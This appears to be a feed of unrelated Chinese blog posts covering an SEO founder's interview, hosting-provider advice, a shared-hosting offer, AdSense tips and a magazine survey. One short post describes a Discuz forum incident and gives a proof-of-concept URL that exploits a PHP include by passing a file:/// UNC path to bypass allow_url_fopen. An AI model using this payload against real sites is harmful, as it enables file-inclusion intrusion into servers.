1、你是为何选择创业的？

当被问起这个问题，我的头脑中首先想到的是：原来一直都想创业的，感觉打工非常别扭。

其实，创业，并不意味着就是做多么轰轰烈烈的事情，并不意味着将来就会成就多大的公司。看到创业，人们很容易就想起阿里巴巴、想起新东方、想起百度、想起马云、俞敏洪、李彦宏、史玉柱、牛根生等等。然而，绝大部分的创业，都是默默无闻的，现在或将来都不可能如他们那么家喻户晓。没有创业，或不了解创业的人，或许会认为创业者就是为了将来如他们那么风光而选择创业。其实，一直奋斗在创业路上的人，支持和激励他坚持创业的动力绝不在于此。最坚定选择创业的人，动力来自他与生俱来的独立性和自我认同感。

独立性，因为他总是那么有主见，他对事物的判断和理解经常会超出常人，经常性的有些见解超出常人的理解，这让他产生了对居人之下时可能导致的思维被压抑的恐惧感。这种恐惧感，让他时时刻刻在寻找机会独立开来，不受他人限制。

自我认同感，因为他总是非常自信。在一个公司里任一个职位，每日重复着被安排好的工作，这在他看来是对他能力的浪费。他非常本能的认为，他可以做更多的事情，大则可以成就大业影响社会，小则可以让自己挣得比上班多。

独立性和自我认同感，是我选择创业的根本原因。而，创业对我的概念，就是独立做一份事业，不用寄人篱下。这个事业，可以是做销售、做服务、或者自己开发产品。

2、你创业是有一个团队吧？那是怎么组织起来的，你觉得你的团队怎么样？在一起协同工作的过程中有遇到什么问题么?你对一个创业团队有什么看法?呵呵，反正把你想说都说出来吧，我确实很想知道你创业的过程，尤其是团队这个方面。

我经历过两次创业了。

第一次是先组建团队，然后开发产品创业。这个团队，是因为我们的想法和对未来的憧憬走到一起，其中更大的原因是，大家觉得可以没有太多付出，但可以经历一次创业，当然也有对我们创始人的一种期望。这个模式，是先大体组建团队，然后根据大家具体特长分工合作。

如果产品是满足市场需求的，或产品开发后可以马上获得收益的，那么这样的模式是有优势的。因为，我们的团队组建成本很低，而且运营过程，大家的工资和开销都不是很大，同时大家又都是非常卖力和充满能力的。

但如果产品开发后，还需要推广，需要市场的检验，那么这个模式的弊端会出现。因为当你推广不利时，容易产生团队之间的关于“推广不起来的原因”的争端。负责市场的成员，会让技术不断开发新的、或许会让用户更喜欢的功能；负责技术的成员，会不断质疑，这个产品是否有市场前景，我每天在辛苦干的，是否有意义？

第一次创业，因为产品本身的开发销售流程太长，以及它本身不是在直接满足需求，而是在创造一种新的使用模式，类似阿里巴巴、淘宝模式，在创造一种全新的概念。但这样的模式需要及时有大额资金的支持。如果没有，则会失败。我们的第一次创业以失败告终。

第二次是先我自己干，当我业务忙不过来时，开始召集需要的人员。第二次，我不是在想着创造一种全新的模式，而是先想着，我喜欢干什么？我能干什么？我能干的这个东西是否有市场需求？因为我的事务都是在网上进行，是否有市场需求，我可以通过在网上查找获得。比如：网上很多地方在找购买某个产品或某个服务，那说明这个产品或服务，在网上可以卖的开。你可以直接去提供这种产品或服务。那么同样的产品，为什么别人和我买呢？因为我本身有一种技术，我能够让需要某个产品的用户通过百度或Google找到我。找到我之后，通过我的真诚交流，让用户购买我的产品或服务。当我的业务超过我一个人的工作量时，我开始请更多人员来帮忙。因为每个成员都有满意的工资和工作，同时看到事业在一步一步做大，于是团队就发展比较协调和顺利。

3、通过你的经验，能否谈谈你觉得怎么样的人才能够成功？能够为一个企业所乐意接受？

其实，一个人，当员工和当老板，是需要不同的价值观和性情。最大的不同在于，当员工的，要愿意受使唤和安排，要忠诚和踏实；当老板的，要乐观和富有思想感染力，当公司没有业务，或碰到困难时，大家都在看老板。所以，说到这里，你其实可以感觉到自己适合创业还是打工。创业，心累和体累，但可以满足自己的自由需求。打工，要忍气吞声，忠诚于公司，为公司创造价值，但可以有稳定的工资。一个企业，在找人才时的判断是很简单的，这个人才的到来，能否为企业创造价值，即，他要有能力；同时不会给企业带来其他负面影响，如：他可能学会了公司的模式后选择单干，成为公司的竞争对手。

4、介绍下你的日常工作以及为何把你的公司从北京搬到深圳呢？还有你公司是如何慢慢壮大起来的？对此，你有什么感悟？

其实，从上面你可以看到，我是因为在北京失败了，然后去深圳了。一个原因是家庭的缘故，另一个是，在一个地方失败了，你就想换个地方。正如，马云在北京失败了，去杭州了就成功了。呵呵
我们目前发展很不错，得益于第一次的失败。

5、对于一个即将步入创业领域或工作领域的人，你有什么特别的建议，呵呵，就是有何告诫？

其实，社会很简单。你真诚付出了，就会有饭吃。不要太计较一些得失，勇敢一些，坦荡一些。我以及我的朋友，我发现一个规律，热情和注重付出的人，现在都过得比较好，而且很多人脉资源会帮忙推荐职位和事业。怎么知道你是一个热情和注重付出的人呢？简单的交流就会发现，你请人家帮个小忙，或问个问题，获得帮忙后，你是否很感激得和人家说谢谢。说声谢谢，这是对人家付出的一种感激，只有你从心里深处肯定其他人的付出，你才会从本质上愿意自己付出。这种性情要融入你的日常所有行为中，渐渐你就不用愁没人帮你了。但，不管有多少人能帮你，你要做得是，想尽一切办法独立！

6、介绍下你的公司，包括名称，规模，组织结构，对公司的前景有什么规划……

我们公司人员8个人，主要业务是做搜索引擎优化咨询和搜索引擎优化培训。搜索引擎优化咨询主要是大公司技术总监电话咨询关于搜索引擎优化技术的问题，培训主要是针对对搜索引擎优化技术比较喜欢的人们提供学习和培训。我们的主要目标是，传播一种通过SEO，进行低成本创业的新型创业模式，即，通过学会SEO，任何一个人可以几乎不用成本进行创业，渐渐把事业做大。目前，我们主要是把SEO的知识，非常低价格得传授给对此感兴趣的人们，尽一切努力让接受SEO思想的人们在网络上获得成功。

SEO技术，可以让你在毫无成本的条件下白手起家，这一点让我们对此事业非常感兴趣，并坚持不懈。接下来，我们还有很多工作要做，包括，让我们的思想更系统化和成熟。

哈哈，就这些吧，如果有时间的话就把你所想对我说的话全部说吧，实话告诉你哈，我也有一个创业的梦，追求创业中看着自己的事业蒸蒸日上的那种激情。呵呵，我对你的事业很感兴趣哈，你的事例对我来说就是个活生生的例子，我真想好好学习一番！！！
还有，真得得感谢你对我的帮助与照顾，谢谢！！！

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代码二：退出编辑

javascript:document.body.contentEditable=’false’; void 0

在AJJ群里，DZ官方人说，浪子正在解决这个问题，希望尽快出补丁，虽然胡勇一直强调不是程序问题，我还是比较好奇，这个不是程序问题是什么问题？….
13：20官方出了修复补丁：如果你的论坛被人插入了上面这句话，请到官方下载清除工具执行：http://www.discuz.net/thread-1183991-1-1.html
贴上两张图片纪念

成因分析：
以下为ring04h写的php allow_url_fopen bypass 漏洞说明：
URL file-access is disabled
index.php
include $path.”config/config.inc.php”;
c:\config\config.inc.php
phpinfo();
POC:http://www.dream4.org/index.php?path=file:///\\127.0.0.1\C$\
net share:
C$ C:\
通过Windows file协议访问网络文件，成功bypass allow_url_fopen
经过测试，Linux同样也可以通过系统自带协议bypass allow_url_fopen
怀疑08年所有黑与被黑以及09年开年献礼都来源于“邪恶八进制”

         选择一个好的IDC的重要性

      网站是个人站长的命根，网站最重要的无外乎两个：域名和数据。一般情况下，域名不会出什么大的问题，最常见的就是遇见无良IDC服务商，续费或者转移的时候大吃你一笔，没啥致命的危险。网站数据差不多才是最要命的东西，如果数据丢失了，那就只有哭的份了，我曾经丢失得最严重的一次是我的个人博客，曾经一次数据丢失让我心情沉闷了好几天，因为那是差不多两年累计下来的东西，虽然不重要，但是，每一句话都是自己真真实实写下来的，后来有了新的博客才有所好转，所以我理解网站数据丢失的痛苦。
  
   目前的混乱状况是，很多个人服务商，甚至算不上服务商，因为他们就是找几个人来分摊服务器费用的那种。没有严格的生产流程，只给你一个FTP，给你把米绑好，然后就你开始做站。这种空间就算再便宜，也切忌莫贪。服务时间有限，很多人是业务时间搞搞这个，有时候甚至连正常的上班时间也不能保证，你认为他会拿什么给你服务？网站出问题，响应速度可以拖死你。服务态度超级不好。把自己当大爷，你问个问题连理也不理你，或者你问几个小时才回答你一句，或者服务态度恶劣，这种情况我也曾经遇到，所以，人品不好的IDC还是别去了。

   我相信落伍的MJJ们是很难被忽悠的，都练成精了，在不断的被伤害之后已经无坚不摧啦。

          如何选择一个好的IDC服务商

    好的IDC服务商不是用牌照来衡量的，这一点我相信落伍的MJJ们比我更清楚，执照可以花钱买，但是买不来RP。今年出的几件事也可以算是给出了一个好的案例了，有执照的跑路一样要跑路，网站要停一样停你个三五月，一样搞得你没脾气。这里说选择IDC一定要选择一个好RP的，那就说说怎么来判断RP。
     
     第一，RP好不需要炒作，仅限于正常的广告。落伍的炒作团队一波接一波的出现，卷钱跑路的不是一个2个了，所以。。。
     第二，百度一下，查查负责人的相关资料，也许能得出些什么。其实每一次基本上都是有跟有源可追的，只是自己不怎么注意这个。
     第三，保证一天的在线时间。不是要一天24小时在的那种，现在的7*24有几个IDC能做到？所以，只要能在正常工作时间能找到人的即可
     第四，相人很重要，牛气冲天的肯定干不成大事，这个差不多已经成为至理了。成功人士可以吹吹曾经的豪情，但那是成功之后，已经没有人追究初时的艰苦了。所以，选择一个务实的IDC服务商吧。说几个G硬防的是吹牛，个人WEB服务器几个G硬防还吃啥？什么6线机房。。。还有等等等。。。
     第五，一定要礼貌，且响应速度快。为啥要响应速度快？你自己问问自己啊，那服务器停个1两天，你还受得了啊？
     第六，不一定是大公司，也不一定要最贵的，万网的服务大家应该都见识过的。。。。

         如何做一个好的IDC服务商    
     
     IDC行业，最初我以为是商品零售商，最后才发现是服务商，简单说，做IDC大部分时间做的是服务。年付的空间服务期是一年，这一年内也许不会出事，也有可能频发事故，而做为一个好的IDC，最起码的是要保证响应速度，不要都让客户发现问题大面积联系你了，你才知道，“哦，原来我的服务器出问题了”，做为一个服务商，你要知道自己的薄弱环节，你应该比客户更了解你的服务器，你的机房，所以，保证即时的响应速度，就算服务器一月当机一次，我想客户也是可以理解的。

     礼貌待人，怎么说也是做服务行业的，心平气和的对待客户应该是最合适的，不要把自己主观意志强加给客户。比如，客户问你DA面板怎么使用，你不应该说自己看教程去，你应该指导客户使用，并且在适当的时候给予最合适的帮助，不是要求你包办，包办了下次出问题了你还得包办，应该用一个新手的流程去指导客户解决相关的问题，甚至在闲暇的时候，能够亲自帮用户解决程序上的问题，虽然这不是分内之事，但是你闲着也是闲着，每一个客户都有可能为你带来N个客户，口碑效应比任何广告效果都好。

     做到信守诺言，这不仅仅是做为一个IDC必须的，也是做人必须的。诚信对每一客户，没必要欺骗客户一些无所谓的问题，你以为无所谓的欺骗，如果有朝一日被发现，这就是个人信誉问题，第二年怎么叫人家相信你继续续费呢？说一就是一，说二就是二，很重要，就算中期也有变化，也要提前通知，争取到客户的信任很重要。至于目前IDC行业的黑暗局面，我就不一一揭露了，如果真说出来，估计我以后也没办法在这个圈子继续混下去了，点到即止。

     最后，保证机器的最大性能。上面都是谈服务，最后要用得爽，还是需要保证机器爽才能让客户爽，换个角度想想，如果你都不能让客户爽，客户赚不到钱，明年也没办法拿钱给你续费啊。所以，最大情况下保证双赢了大家就爽了。

        作为客户需要了解的
   
    互相理解，你别以为IDC态度好，你就可以随便欺负，如果RP相当好还好说，如果RP不好的，你给不爽了，他也隔三差五的让你不爽，这其实很多时候都是一些很细微的东西。客户与服务商也可以成为朋友，现在最常见的就是，服务器一出点问题，不直接联系服务商，而是满世界发帖辱骂，诋毁，这样干根本也无法解决根本问题，反而跟服务商和自己都造成一大堆问题，你骂完爽了，问题也没解决，也给IDC造成了不好的影响，别人苦心经营起来的信誉就被你这么一个帖毁了也有可能。所以，最好的做法是，出问题了，及时联系你的服务商，尽快的解决问题，问题解决好了，说句谢谢，反正有人给我说谢谢我会很爽，我就干得更卖力了。

PS：这篇本来是想说说IDC这个行业的，但是写着写着，发现我对这个行业了解其实不算很深。并且很多东西是不可以拿出来说的，会触动很多人的利益，就随便写了点目前落伍发现的最多的问题，也就是服务商和客户关系的处理问题，也是口水话比较多，但是每一句都很实在，不一定对每个人都有用，不过，灌水闲暇的时候看看也无所谓，就当是读了篇短短的小说，娱人娱己嘛。另外，新年也快到了，也是提前祝大家发大财吧，过个好年，每天都有个好心情。

首发落伍，转载请注明。
作者:李玉波 地址：http://www.im286.com/thread-3140109-1-1.html

联系QQ：94290291     支持论坛：http://bbs.unixidc.com/
服务器大体硬件配置如下:
CPU:Core E2180 .
内存: 2G DDR2 667
硬盘: 160G SATA-II / 企业级.

机柜位于国内顶级电信IDC机房 – 安徽电信
带宽: 10M独享.
防护:2G硬防、独立网关、独立VLAN、端口隔离，彻底杜绝ARP攻击。
服务: 7*24 专员值守.

系统及其 WEB 环境配置如下:

Linux: CentOS 5.2.x
Apache: 2.2.x
MySql: 5.0.x
PHP: 5.2.x
Zend-Optimizer: 3.3.x
组件: Mod_Rewrite、GD2、freetype2、iconv、.htaccess、CGI、perl
PHP探针地址：http://ux04.unixidc.com/iProber.php

相关协议：
一、服务器配置为酷睿2 E2180 2G内存，共35份合租，每股分配5G PHP WEB空间，MySQL数据库与WEB共用。

二、每股提供两个Apache WEB目录，无限下级目录绑定，每月流量: 100G 超出自动关闭 每股只能做一致两个个论坛。

三、合租人可以自由出售股权，但是新的合租人必须遵守合租协议。合租人（包括多股用户）不可拆分出售合租空间。

四、合租每股提供≤5个FTP帐号和≤5个MySQL数据库以及≤5个的MySQL帐号，并且可以提供简单的计划任务Shell

五、禁止建立在线视频或者大型下载这类站点等占带宽资源严重的东西，资源会按照股进行分配。一般资源是没什么限制的
       但是如果你的站点访问量特别大，特别是影响了他人的时候，那么就会对你的站点做资源限制。
       但是保证最低给你1/35的CPU资源、带宽以及硬盘资源。如果你的站点访问量较大，推荐你多买几股。采集限制为1-9点时段

六、合租首年无退款服务 如不付款视为自动放弃股权。合租空间统一价格。不砍价。如介绍朋友可获得相应回扣

七、合租站点必须遵守国家相关法律，以及我们的合租协议，违规者管理员有权利关闭你的站点而不予任何赔偿。
       不欢迎政治色彩的站点或者论坛，所有绑定域名均需beian。

加入合租者视为已经接受以上所有条款

二、我觉得最好的配色方式

广告的标题与网页文章的标题颜色一致，而且#0000FF效果比较好;
介绍文字、url地址全部设置为浅色(比如#88888 ;
边框、背景就不用说了，和网页背景色一致。

三、不要让网民误点
很多人喜欢通过位置布局来让用户误点击，结果是用户点了以后立马返回，给你带来的结果是单价直线下降;
同等条件下，越是网民心甘情愿的点击的广告，越能给你带来较高的收入;
点击数不是关键，每一次点击的质量才是关键。

四、做好内容，提高匹配
让你网页80%以上的内容与主题有关，匹配越好，单价越高。
不要太追求页面漂亮，各种背景图片、falsh能不要就不要，代码越简单越好。

五、论坛也能有好的收入
只要你做到：
1、去掉一些多余的东西，比如左边的一大堆用户的头衔、头像、积分等，只留一个发布者的用户名，链接到他的个人资料即可;
2、每个版块的主题要专一，灌水性质的版块就不要放ggad广告了;
3、广告摆放的位置：推荐第一楼(主贴)的下方，放一个336×280的。其它地方就不要放了，如果嫌广告单元太少，那就在最后一楼下方在放一个吧。

六、广告单元越少越好
推荐每页只在第一屏最佳的位置放一个广告，广告单元太多了，很影响单价，而且影响页面整洁

《三年》别离

题外话：上学期的《三年》算是一个失败的作品。当然，个人的原因比较多，一些学校的负面因素也影响了我个人的判断力。这次下定决心改良《三年》的“文化”氛围，我个人能够尽最大努力承受外界的压力。
1，《三年》是一本面向大学生的免费综合读物。
2，《三年》的整体思路为“自由，和谐”，立足大学群体，偏向社会重心。
3，《三年》没有盈利模式，没有商业路线的计划。
4，《三年》有向纸质杂志同步的打算，接受社会团体和个人赞助（我做了完整的策划和赞助方案）
正题：这次做个小调查，主要目的是想通过这次调查来深入了解“大学生”到底需要怎样的一本杂志，每个人可以畅所欲言，谢谢各位的参与。大家就  大学生 感兴趣的话题 来发表意见。
例如：我想要在《三年》上看到一些就业技巧方面的信息，因为大学生踏入社会的第一步就将面临就业问题。。等等
价值在于发现，《三年》首航高专 ]]> http://www.liyubo.net/2008-08/82/feed/ 3